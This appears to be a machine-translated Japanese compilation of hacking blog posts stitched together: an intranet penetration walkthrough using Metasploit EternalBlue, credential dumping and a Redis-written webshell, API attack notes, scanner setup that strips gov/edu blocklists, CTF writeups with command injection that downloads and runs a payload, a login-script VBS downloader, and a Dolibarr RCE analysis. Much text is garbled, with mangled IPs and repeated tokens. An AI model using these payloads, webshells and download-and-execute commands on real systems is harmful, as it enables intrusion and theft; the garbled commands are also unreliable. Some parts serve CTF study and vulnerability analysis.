KALIにコマンドを入力:MSFConsoleMSF 6検索17-010MSF 6使用ペイロードWindows/X64/MeterPreter/Reverse_TCPMSF 6 SET LPORT 66666MSF 6セットLHOST 192.18.129.127.127.127.127.127.127.127. 192.168.127.91msf 6 Run MeterPreterShellc: \ Windows \ System32IpConfig 私はいくつかの文字化けコードを見つけたので、C: \ Windows \ System32CHCP 65001#65001#65001#65001#65001#65001#65001 c: \ windows \ system32ipconfig#iは2つのネットワークセグメントを見つけました。1つは192.168.127ネットワークセグメント、もう1つは10.0.20ネットワークセグメントC: \ Windows \ System32Whomai C: \ windows \ system32tasklist/svc#view#view system in system c3: \ windows \ system32exit #exit shellコマンド末端meterleterloadoload loadoload loadoload loadoload load load load loadoload MeterPreterCreds_All#すべての現在のユーザーのログイン資格情報をゲットし、ユーザー名がWin7であり、パスワードは管理者

010-10ダイレクトアクセス、3http://192.168.127.91 oa。現在のバージョンは11.33http://192.168.127.91/inc/inc/expired.php Tongdaの検索11.3既存のファイルには検索エンジンを介した脆弱性が含まれています:https://blog.csdn.net/hackzkaq/article/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/11590000 Ant Sword を使用して正常に接続すると、Ant Swordのコマンドターミナルの下で現在のユーザーをシステム許可に表示する許可は、
Web浸透
がシェルが移住している場合に依然として壊れている場合に依存しているときに、シェルが発生します。ディスクへの書き込み操作のないターゲットマシンの安定したプロセスにより、浸透が検出がより困難になります。
自動移行プロセスコマンド(post/windows/manage/magrateの実行)の後、システムは自動的に適切なプロセスを見つけてから、メータープレターを移行してから、1080のspoolsv.exeからspoolsv.exeを管理/移行します。ADDダイナミックルートメータープレーターはAutoroute -S 10.0.20.0/24またはMeterPreter BackgroundMeterPreter Sessionsmsf6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)を使用します。 1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN METERPRETERバックグラウンド生き残ったホストMSF6エクスポロイトを発見(Windows/SMB/MS17_010_ETERNALBLUE) Exploit(Windows/SMB/MS17_010_ETERNALBLUE)セッションセッション1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)SET RHOSTS 10.0.20.1-254MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN Survive host.20.9 SOCKS5 Proxy MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)使用補助/サーバー/SOCKS_PROXYMSF6 AUXILIARY(SERVER/SOCKS_PROXY) ポートスカンシングを修正する必要があります。構成ファイル
VIM /TC/PROXYCHAINS4.CONFSOCKS5 127.0.0.1 1080スキャンNMAPプロキシチェーンを介してターゲットIPの一般的に使用されるポートをスキャンNMAP -ST -PN 10.0.20.99 -P22,23,80,139,445,1433,3306,3389,6379 は、10.0.20.99のホストがポート6379および80に開かれていることを発見しました。ここには、ローカルソックス5プロキシサービスプロキシアソフトウェアがDirsearchをスキャンし、ターゲットがPHPINFO.PHPセンシティページを持っていることを発見しました。 200,302 - Format CSV -O C: \ Users \ backlion \ Desktop \ dirsearch-master \ xxx.com.csvまたは攻撃機の下でプロキシチェインを実行するか、kali python dirsearch.py -u http://10.0.0.20.99 -i -Proxy=Socks5: //127.0.0.1:1080 -T 5 PHPINFO.PHPページにアクセスして、ウェブサイトの絶対パスが公開されていることを確認してください:C:/PHPSTUDY/PHPTUORIAL/WWW/333333333810.0.0.PHPT.0.PHPT.0.0.PHPTURE
http://10.0.20.99/l.php 010-10 Redis-Cli Command Proxychains Redis-Cli -H 10.0.20.99を介したパスワードなしのリモート接続'c:/phpstudy/phptutorial/www/' #switchシェル10.0.20.20.99:606379セットx '\ n \ n \ n?php @eval($ _ post [' x ']); 10.0.20.99:6379 Config set dbfileName shell.php#ファイル名をshell.php10.0.0.20.993:6379 Save ここに、地元のホストのAnt Swordを介したプロキシです。View現在のユーザーの許可はシステム
ハンドアロンの浸透
フォワードシェルコデムスフヴェンム-P Windows/x64/meterpreter/bind_tcp lport=3333 -f exe shell.exe を実行して、リスナーを構成します
Exploit/Multi/Handlerset Payload Windows/x64/meterpreter/bind_tcpset lport 33333set rhost 10.0.20.99run 3 Firewall netsh firewalsetopmodemode=disable 010-69556 run shell.exe in the Antable同じネットワークセグメントホストMeterPreter ARP スキャン10.0.10.110ネットワークセグメント移行プロセスRun Post/Windows/Manage/Migrate
HireHackking

タイトル:APIセキュリティ学習ノート

必要性
フロントエンドの分離は、Webで大きな傾向になりました。 Tomcat+ngnixを介して効果的に分離することができます(中央にnode.jsもある場合があります)。さらに、フロントエンドとバックエンドの分離は、将来の大規模な分散アーキテクチャ、弾性コンピューティングアーキテクチャ、マイクロサービスアーキテクチャ、およびマルチターミナルサービス(ブラウザー、ビーチクルターミナル、Android、IOSなど)の複数のクライアント)の強固な基盤を築きます。 APIは、フロントエンドコミュニケーションの責任を引き受けます。したがって、APIセキュリティを学習する必要があります。
この記事のアイデアは、APIのいくつかの一般的な攻撃表面を要約することです。著者はまだこの領域を学んでいます。間違いがあれば、あなたがそれを修正できることを願っています。

一般的なAPIテクノロジー

graphql
GraphQlは、APIのクエリ言語です
通常、次の特性があります。
(1)データパケットは /graphqlインターフェイスに送信されます
(2)多くの新しい文字が含まれています\ n
{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null} Webサービスの説明を、クライアントがドキュメント情報またはプロセスコールを含むサービスにアクセスできるサービスアクセスポイントのセットとして定義します。 SOAPプロトコルが使用され、通常はXML形式のデータが送信され、WSDLファイルがあります
.netのcommon.asmxファイルもwsdl形式xxx.asmx?wsdl を持っています
Soapuiを使用して、このタイプのAPIをテストできます

soap-wsdl
ファイルに非常に明白なWADLロゴがあります

SoapuiのREST機能をテストに使用することもできます


wadl
REST APIは以前のものほど明白ではなく、最近最も一般的に使用されているAPIテクノロジーでもあります
RESTは、プロトコルや標準ではなく、建築仕様のセットです。 API開発者は、さまざまな方法でRESTを実装できます。
クライアントがRESTFUL APIを介してリクエストを行うと、リソースステートメントをリクエスターまたは端末に渡します。この情報または式は、JSON(JavaScriptオブジェクト表記)、HTML、XLT、Python、PHP、またはプレーンテキストのいずれかの形式のいずれかでHTTPを介して送信されます。 JSONは、最も一般的に使用されるプログラミング言語です。元の英語名は「JavaScriptオブジェクト表記」を意味しますが、さまざまな言語に適しており、人間と機械の両方で読むことができます。
注意すべきことがいくつかあります。ヘッダーとパラメーターは、リクエストされたメタデータ、承認、統一リソース識別子(URI)、キャッシュ、Cookieなどの重要な識別情報が含まれているため、RESTFUL API HTTP要求のHTTPメソッドでも重要です。リクエストヘッダーと応答ヘッダーがあり、それぞれに独自のHTTP接続情報とステータスコードがあります。
休息
APIのセキュリティテストについては、通常、APIの許可問題、APIエンドポイントのセキュリティ問題、インフラストラクチャに焦点を当てています。
APIエンドポイントのセキュリティ問題をテストするには、できるだけ多くのAPIエンドポイントを取得しようとする必要があります

エンドポイントを取得する方法
Swaggerは、RestfulスタイルのWebサービスを生成、説明、呼び出し、視覚化するための標準化された完全なフレームワークです
一般的な指紋:
#swagger 2
/swagger-ui.html
/API-DOCS
/v2/api-docs
#swagger 3
/swagger-ui/index.html

/API-DOCS
/v2/api-docs
/v3/api-docs
.
API-DOCは、すべてのエンドポイント情報を表示できます
テスト用の2つのツールを次に示します
最初のものはSwagger-Editorです
https://github.com/swagger-api/swagger-editor
ダウンロード後、index.htmlを開くことで使用できます。 URLをインポートまたはリモートロードすることを選択できます。 JSONおよびYAML形式のAPI-DOCをサポートします。
2つ目はapikit3https://github.com/api-security/apikitです
バーププラグイン

swagger api-docsリーク
すべてのエンドポイント情報を取得します
https://mp.weixin.qq.com/s/gp2jgrlpllsh5xn7vn9bwq
{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null}
これを使用して、インターフェイスドキュメントを生成できます。
https://github.com/2fd/graphdoc
nodejs test.jsonが必要なのは、内省的クエリによって返されるJSON形式のデータです
NPMインストール-G @2FD/GraphDoc
graphdoc -s ./test.json -o ./doc/schema
次に、生成された/doc/index.html を開きます
彼のフォーマット に従ってデータパケットを構築するだけです

graphql内省的クエリ
ブラックボックステストでは、APIエンドポイントが完全には見つからないことです。対応するアプリケーションまたは他の側面からそれらを探す必要があります。
(1)Web
JS HTMLなどの静的リソースには、いくつかのAPIエンドポイントを持つことができます
バーププラグインJS Linkfinderは受動的に収集できます
(2)アプリおよびその他のクライアントアプリケーション
(3)github
(4)ルールのファズによると

その他

認証方法
APIが要求されるたびにユーザーのユーザー名とパスワードを提供する
通常、HTTPパケットに認証ヘッダーがあります
Authorization: Basic Base64(username:password)
これは安全性が比較的低く、現在はめったに使用されていません

基本的な認証
JWT(JSON Webトークン)は、トークンベースの認証と認証メカニズムです
3つの部分に分かれています
Header:は、JWTのメタデータを説明し、署名を生成するためのアルゴリズムとトークンのタイプを定義します。 Payload:は、継続する必要があるデータを保存するために使用されます。サーバーは、JWTが計算方法暗号化アルゴリズム(base64(header) + ')、の計算方法の改ざんを防ぐために、ヘッダーで指定された署名アルゴリズム(デフォルトはhmac sha256)を使用します。
オンラインテストhttps://jwt.io/
通常のトークンには、バックエンドストレージとユーザーの間に対応する関係が必要ですが、JWTは対応する関係自体を運びます

jwt
Apikeyやランダムに生成された他の形式のトークン

その他のカスタムヘッダー、Cookie

一般的な安全性の問題とテスト方法
APIゲートウェイは、クライアントとマイクロサービスの間に構築されたサービスです。許可確認、監視、キャッシュ、リクエストルーティングなど、APIゲートウェイのいくつかの非ビジネス機能ロジックを処理できます。
APIゲートウェイは、マイクロサービスシステム全体のファサードのようなもので、システムの唯一の入り口です。これにより、クライアントは最初にAPIゲートウェイにリクエストを送信し、次にAPIゲートウェイが要求された識別情報に基づいてマイクロサービスインスタンスにリクエストを転送します。

APIゲートウェイ
Apache Apisixは、Apache Software Foundationの下にあるCloud-Native API Gatewayです。ダイナミック、リアルタイム、および高性能の機能を組み合わせて、ロードバランス、ダイナミックアップストリーム、グレースケールリリース(カナリアリリース)、サービスサーキットブレーカー、アイデンティティ認証、観測性などの豊富な交通管理機能を提供します。同時に、K8Sイングレスコントローラーとしてもサポートされています。 Apisixは以前にコマンド実行の脆弱性CVE-2022-24112を公開しました(現在の最新バージョンは3.0)
衝撃の範囲:
Apache Apisix 1.3〜2.12.1の間のすべてのバージョン(2.12.1を除く)
Apache Apisix 2.10.0〜2.10.4 LTS間のすべてのバージョン(2.10.4を除く)は脆弱性環境を構築します
git clone https://github.com/twseptian/cve-2022-24112 ## get dockerfileを入手してください
CD CVE-2022-24112/apisix-docker/example/##対応するディレクトリを入力します
docker -compose -p docker -apisix up -d ## dockerに基づいてすべてのapisixサービス利用条件を開始
Batch-Requestsプラグインはデフォルトで有効になります。
ユーザーは、Apache Apisixデフォルトの構成を使用します(管理者APIを有効にし、デフォルトの管理キーを使用し、追加の管理ポートが割り当てられていません)。攻撃者は、Batch-Requestsプラグインを介して管理者APIを呼び出すことができます。アイデアを攻撃します
1.バッチリクエストプラグインの脆弱性を使用して、バイパス要求ヘッダー検出をバイパスします。
2。要求ヘッダーを偽造して、管理者APIにルートを登録します。
3.ルートを登録すると、パラメーターFilter_FUNCがLUAコードを渡し、リモートコード実行の脆弱性Expを引き起こします。
https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
HireHackking
プルアイテム
最初にGitHubからサーバーにクローンを作成します。
git clone https://github.com/ki9mu/arl-plus-cocker/
構成ファイルを変更
ARLには構成ファイルにブラックリストがあるため、プロジェクトがGOVまたはEDUなどがスキャンできない場合があるため、ここで構成ファイルを変更すると制限を引き上げることができます。
CD arl-plus-docker/
vi config-docker.yamlここでブラックリストのいくつかのアイテムを削除するだけです

変更後:

RiskIQおよびFOFA APIを追加および変更します

OneForAllモジュールは拡張バージョンに追加されるため、クローンのデフォルトコードがフレーズであるため、構成ファイルで開く必要があります。ここではTTUEでオンにするスイッチを交換できます。
VI OneForall-Config/Setting.py
変更後:

構成ファイルに変更したら、Dockerを開始します。最初にボリュームを追加し、次にDocker -Compose Up -Dを直接開始できます。画像を引くときに非常に遅い場合は、Dockerソースを変更できます。
DockerボリュームCREATE -NAME=ARL_DB
Docker-Compose Up -D
完了の行が表示されると、成功していることを意味します。この時点では、Pythonスクリプトにブラックリストもあるため、Pythonコードを変更するためにコンテナを入力する必要があります。最初にDocker PSを使用してコンテナIDを確認し、このコンテナを変更して編集するためにVIを使用します。
Docker PS #ViewコンテナID
docker exec -it対応するID bash
変更前のvi app/config.py:


指紋を追加
インストールが成功した後、指紋を追加して灯台に強い指紋を与えます。
住所:https://VPS:5003/!
デフォルトアカウントの秘密:admin \ arlpass
git clone https://github.com/loecho-sec/arl-finger-add
CD arl-finger-add
python arl-finger-add.py -o https://vps:5003/admin arlpasscopy
インストールに正常に
デフォルトのパスワードでログインし、右上隅のデフォルトのパスワードを変更して、喜んで使用します。
HireHackking

タイトル:NCTF2022 Web WritgeUp

1.calc
質問アドレス:http://116.205.139.16633608001/
右クリック /ソースソースコード
@app.route( '/calc'、method=['get'])
def calc():
ip=request.remote_addr
num=request.values.get( 'num')
log='echo {0} {1} {2} ./tmp/log.txt'.format(%歳〜m%m%M%S',time.localime())、num)
WAF(num):の場合
try:
data=eval(num)
os.system(log)
:を除く
合格
str(データ)を返す
else:
「waf !」を返します
フラスコエラーは、WAFのフィルタリングルールを確認するために報告できます
http://162.14.110.241:8050/calc?num []=
def waf(s):
blacklist=['import'、 '('、 ')'、 '#'、 '@'、 '^'、 '$'、 '、' '?'、 '`'、 ' '、' _ '、' | ';'; '、' '、' '、' '、{'、 '}'、 ''、 '' '、' getattr '、' os '、' system '、' class '、' subclasses '、mro'、 'request'、 'args'、 'eval'、 'if'、 '' subprocess '、' 'file'、 'oppen'、 '' '' '' '' '' '' '' '' '' '' '' 'popen builtins '、' compile '、' execfile '、' from_pyfile '、' config '、' local '、' self '、' item '、' getItem '、' getattribute '、' func_globals '、' __ in exattribute '、' join '、' __ dict__ ']]
flag=true
BlackList:ではありません
s.lower():のno.lower()の場合
flag=false
印刷(いいえ)
壊す
フラグを返します
試した後、私はnumを操作し、%0aを使用して異なるコマンドを分離することができることがわかりました。
次に、ステートメントはeval(num)によって正常に実行される必要があることに注意してください。それ以外の場合は、os.system(log)にジャンプしないことに注意してください。解決策は、コマンドを単一の引用で包むことです。
/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a
バックテックはエコーを引き出すのは簡単ではないので、私は単にカールを使用してペイロードをダウンロードし、MSFでオンラインになります
/calc?num=%0a'curl'%09'http://x.x.x.x:yyy/testapp'%09'-o'%09'/tmp/testapp'%0a
/calc?num=%0a'chmod '%09'777'%09 '/tmp/testapp'%0a
/calc?num=%0a '/tmp/testapp'%0a


2.ez_php
質問アドレス:http://81.70.155.160/
ayacms githubアドレス
https://github.com/loadream/ayacms
問題には多くの脆弱性がありますが、バックグラウンド/フロントデスクにログインする必要があります
バックグラウンドadmin.phpは弱いパスワードを試しましたが失敗し、フロントデスクが登録できませんでした.
そこで、コード監査のためにソースコードを直接ダウンロードしてから、1日のほとんどを視聴しました
ソースコードの多くの場所が定義されています( 'in_aya')またはexit( 'アクセス拒否');つまり、直接アクセスすることはできず、IN_aya定数を定義した他のPHPファイルを介して含めるまたは必要とする必要があります。
この考え方は、ファイルに含まれる脆弱性を見つけることに変換されます
私は長い間探してきましたが、 /ya /admin.inc.phpで場所を見つけました

get_cookieはAYA_プレフィックスでCookie値を取得し、Decryptは対応する暗号化機能のソースコードを見つけることもできます。
暗号化中のaya_keyは、デフォルト値AAAです
ファイルが含まれた後、アイデアははるかに広くなり、それを既知の脆弱性と組み合わせます
https://github.com/loadream/ayacms/issues/3
ペイロード
?php
関数ランダム($ length=4、$ chars='abcdefghijklmnopqrstuvwxyz'){
$ hash='';
$ max=strlen($ chars)-1;
for($ i=0; $ i $ length; $ i ++){
$ hash。=$ chars [mt_rand(0、$ max)];
}
$ hashを返します。
}
function kecrypt($ txt、$ key){
$ key=md5($ key);
$ len=strlen($ txt);
$ ctr=0;
$ str='';
for($ i=0; $ i $ len; $ i ++){
$ ctr=$ ctr==32?0: $ ctr;
$ str。=$ txt [$ i]^$ key [$ ctr ++];
}
$ strを返します。
}
function encrypt($ txt、$ key=''){
$ keyまたは$ key='aaa';
$ rnd=random(32);
$ len=strlen($ txt);
$ ctr=0;
$ str='';
for($ i=0; $ i $ len; $ i ++){
$ ctr=$ ctr==32?0: $ ctr;
$ str。=$ rnd [$ ctr]。($ txt [$ i]^$ rnd [$ ctr ++]);
}
return str_replace( '='、 ''、base64_encode(kecrypt($ str、$ key)));
}
echo necrypt( './module/admin/fst_upload');
HTTPパッケージ
post /aya/admin.inc.php http/1.1
HOST: 81.70.155.160
Content-Length: 244
Cache-Control: Max-age=0
アップグレード-Insecure-Requests: 1
Origin: null
Content-Type: MultiPart/Form-Data;境界=--- webkitformboundarykhsd4wq8ubmzcnd1
user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36 edg/107.0.1418.6222
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9
Accept-Encoding: gzip、deflate
Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6
cookie: aya_admin_lang=qwwpiaj9eitzzeeoqwtyofa0dcuamfttv2anpbulrmfnkbrmfteqg1zxtdfaaveyqymwda
Connection:閉じます
----- webkitformboundarykhsd4wq8ubmzcnd1
content-disposition: form-data; name='upfile'; filename='xzxz123123123.php'
Content-Type:アプリケーション/Octet-Stream
?php eval($ _ request [1]); phpinfo();
----- webkitformboundarykhsd4wq8ubmzcnd1



3.ezbypass
ヒントヒントwafはmodsecurityです
タイトルアドレス:http://162.14.110.241:8099/sql.php http://121.37.11.207:8099/sql.php
オンラインで参照記事を見つけました
https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html
残りはスクリプトを使用してペイロードを直接追跡することです。質問にプロンプトが私のパスワードを見つけることができるので、パスワード列のコンテンツを推測してください。
リクエストをインポートします
インポート時間
flag=''
i=1
true:
min=32
max=127
最小max:
time.sleep(0.08)
mid=(min + max)//2
印刷(chr(mid))
payload='if(ascii 1.e(substring(1.e(users.info)、{}、1)){}、1,0)'。形式(i、mid)
url='http://162.14.110.241:8099/sql.php?id={}'。形式(ペイロード)
res=requests.get(url)
res.text:の「letian」の場合
min=Mid + 1
else:
max=mid
flag +=chr(min)
I +=1
print( 'found'、flag)


4.ez_sql
質問アドレス:http://81.70.155.16033603000/https://NCTF.H4CK.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip
タイトルの説明はソースコードを示します
app.js
Import {Application、Router、Helpers} from 'https://deno.land/x/oak/mod.ts';
'./db.js'からのインポートフライト;
const app=new Application();
const router=new Router();
router.get( '/'、async(ctx)={
ctx.response.body='フライトをチェックしてください `/flight?id=`';
});
router.get( '/flight'、async(ctx)={
const id=helpers.getquery(ctx、{mergeparams: true});
const info=await flight.select({leavess: 'departing'、destination: 'destination'})。where(id).all();
ctx.response.body=info;
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen({port: 3000、hostname: '0.0.0.0'});
db.js
'https://deno.land/x/denodb@v1.0.40/mod.ts'から{dataTypes、database、model、sqlite3connector}をインポート
const connector=new sqlite3connector({
filepath: '/tmp/flight.db'
});
const db=new Database(connector);
クラスフライトはモデルを拡張します{
静的テーブル='Flight';
静的フィールド={
ID: {PrimaryKey: true、autoincrement: true}、
Department: Datatypes.String、
Destination: datacypes.string、
};
}
クラスフラグはモデルを拡張します{
静的テーブル='flag';
静的フィールド={
flag: datatypes.string、
};
}
db.link([flight、flag]);
await db.sync({drop: true});
flight.createを待っています({
部門:「パリ」、
Destination: '東京'、
});
flight.createを待っています({
部門: 'ラスベガス'、
Destination: 'ワシントン'、
});
flight.createを待っています({
部門:「ロンドン」、
Destination: 'サンフランシスコ'、
});
flag.createを待っています({
flag: deno.env.get( 'flag')、
});
デフォルトフライトをエクスポートします
hack.lu 2022 foodapiとほぼまったく同じ、参照記事は次のとおりです
https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/
https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98
https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436
唯一の違いは、元の質問IDがRESTFUL APIフォームを使用しているのに対し、この質問はパラメーターに渡されるため、直接コピーすることはできません
ただし、記事で分析された原則を見ると、このアイデアはパラメーターを使用してSQLステートメントをスプライスすることであることがわかります。
http://81.70.155.160:3000/flight?id=1?=aおよび0ユニオン選択フラグ、2から2。

添付ファイルのダウンロード:https://github.com/x1ct34m/nctf2022
元のテキストの転載:https://EXP10IT.CN/2022/12/NCTF-2022-web-writeup/#calc
HireHackking

タイトル:ログインスクリプトの発行

0x1。利用シナリオ
ドメイン制御許可またはドメイン管理者およびその他の高権限を取得する場合、ドメインのPCホストに水平に移動する場合、相手はファイアウォールを開き、445および135で水平に使用できません。ログインスクリプト拘束方法を介してターゲットホストの権限を取得できます。
0x2。利用方法
方法1:PowerShell Win2012以上が伴い、現在のドメインユーザー情報を取得する
get -aduser -filter * -properties * | lastlogondateをソート|名前、メール、distinguedname、lastlogondate |を選択しますExport -CSV -Path C: \ users \ public \ documents \ user.csv -Encoding utf8
指定されたユーザーをバインドします
set -aduser -identity zhangsan -scriptpath 'download.vbs'
バインド
set -aduser -identity zhangsan -scriptpath ''
方法2:バインディングにはDSMODを使用します
dsmod user -loscr'download.vbs''cn=john、cn=users、dc=redteam、dc=com '
バインド
dsmod user -loscr '' 'cn=john、cn=users、dc=redteam、dc=com'
グループポリシーを更新します
シェルgpupdate /force
VBSコンテンツ
strfileurl='http://192.168.172.129:82/logo.ico'strhdlocation=' c: \ uses \ public \ documents \ chsime.exe'set objxmlhttp=create object( 'msxml2.xmlhttp')objxmlhttp.open'get '、strfileurl、falseobjxmlhttp.send()if objxmlhttp.status=200thenset objadosteam=create object(' adodb.stream.openobjadtream.penttream.peentream. 'adtypebinaryobjadostream.write objxmlhttp.responsebodyobjadostream.position=0'Stremset objfso=createObject(' scripting.filesemobject ')if objfso.fileeexists(strhdlocation)の場合、Stripting.filesextystemobject') Nothingobjadostream.savetofile strhdlocationobjadostream.closeset objadostream=noteendifset objxmlhttp=nothingstrcomputer='。' setws=wscript.createObject.createObject( 'wscript.shell')val=ws.run ( 'c: \ uses \ public \ documents \ chsime.exe'、0)
ディレクトリDC C: \ Windows \ sysvol \ sysvol \ redteam.com \ scripts \にアップロードし、1つまたは2つの方法でバインドし、グループポリシーを更新します。
https://www.cnblogs.com/websecyw/p/16657762.html
HireHackking
0x01脆弱性はじめに
dolibarr erp crm=15.0.3は、評価注入に対して脆弱です。デフォルトでは、任意の管理者をdolibarrのインストールページに追加でき、正常に追加された場合、悪意のあるコードをデータベースに挿入してから、評価によって実行できます。
CVE番号:CVE-2022-2633
脆弱性の説明:dolibarr edit.phpには、リモートコマンド実行の脆弱性があります。攻撃者が論理的な脆弱性を通じて管理者を作成した後、バックグラウンドの脆弱性を介してサーバーの権限を取得できます。
影響を受けるバージョン:=15.0.3

0x02脆弱性分析

1.環境構造
ソースコードダウンロードアドレス:3https://github.com/dolibarr/dolibarr/archive/refs/tags/15.0.3.zip
それをWebディレクトリに解凍して直接アクセスする〜/htdocs/

次に、インストールするようにconf/conf.phpを構成します

2。管理者ユーザーを登録
これは実際には論理的な脆弱性です。システムをインストールした後、ロックしませんが、ユーザーがドキュメントディレクトリに手動で追加する必要があるため、管理者アカウントを追加するためにいつでも入力できます。
たとえば、ここにAAAユーザーを追加します

背景を正常に入力できます


3.BackEnd RCE
バックグラウンドRCEの最後のポイントは、htdocs/core/lib/functions.lib.phpのdol_eval()関数にあります
しかし、ここにはWAFがあり、危険な機能のほとんどは禁止されています
//PHP execまたはPHPファイル機能の使用をブロックします
$ forbiddenphpstrings=array( '$$');
$ FORBIDDENPHPSTRINGS=ARRAY_MERGE($ FORBIDDENPHPSTRINGS、ARRAY( '_ env'、 '_Session'、 '_cookie'、 '_get'、 '_post'、 '_request'));
$ forbiddenphpfunctions=array( 'exec'、 'passthru'、 'shell_exec'、 'system'、 'proc_open'、 'popen'、 'eval'、 'dol_eval'、 'executecli');
$forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('fopen', 'file_put_contents', 'fputs', 'fputscsv', 'fwrite', 'fpassthru', 'require', 'include', 'mkdir', 'rmdir', 'symlink', 'touch', 'unlink', 'umask'));
$ forbiddenphpfunctions=array_merge($ forbiddenphpfunctions、array( 'function'、 'call_user_func'));
$ forbiddenphpregex='global \ s+\ $ | \ b('。prode( '|'、$ forbiddenphpfunctions)。 ')\ b';
する {
$ oldstringtoclean=$ s;
$ s=str_ireplace($ forbiddenphpstrings、 '__forbiddenstring__'、$ s);
$ s=preg_replace( '/'.forbiddenphpregex。'/i '、' __forbiddenstring__ '、$ s);
//$ s=preg_replace( '/\ $ [a-za-z0-9 _ \ - \ $]+\(/i'、 ''、$ s); //削除$ function(call and $ mycall-mythod(
} while($ oldstringtoclean!=$ s);
if(strpos($ s、 '__forbiddenstring__')!==false){
dol_syslog( 'bad string syntax to Evaluate3:'。$ s、log_warning);
if($ returnValue){
'bad string構文を返して、'を評価します。$ s;
} それ以外{
dol_syslog( 'bad string syntax to Evaluate:'。$ s);
戻る '';
}
}
//$ s.'br \ n 'を印刷します。
if($ returnValue){
if($ hiderrors){
return @eval( 'return'。$ s。 ';');
} それ以外{
return eval( 'return'。$ s。 ';');
}
} それ以外{
if($ hiderrors){
@eval($ s);
} それ以外{
eval($ s);
}
}
ここでは、dol_eval()の呼び出しを探し、上記のverifcond()が呼び出されます
そして、ここにスプライシングがあり、これについては後で説明します。
関数verifcond($ stroevaluate)
{
グローバル$ユーザー、$ conf、$ langs;
グローバル$ leftmenu;
グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';
$ rights=true;
if(ISSET($ sttoevaluate)$ stroevaluate!==''){
$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';
dol_eval($ str、0、1、 '2');
}
$ rightsを返します。
}
次に、Verifcond関数のグローバルパラメーター制御可能な呼び出しを探します。 menubase.class.phpのmenuload()関数にポイントがあります。

Verifcondコードは制御可能ですが、データベースのクエリ結果から取得されることがわかります。
パームと有効化に注意してください。どちらもVerifcondに直接入力できます

$ resql=$ this-db-query($ sql);
if($ resql){
$ numa=$ this-db-num_rows($ resql);

$ a=0;
$ b=0;
while($ a $ numa){
//$ objm=$ this-db-fetch_object($ resql);
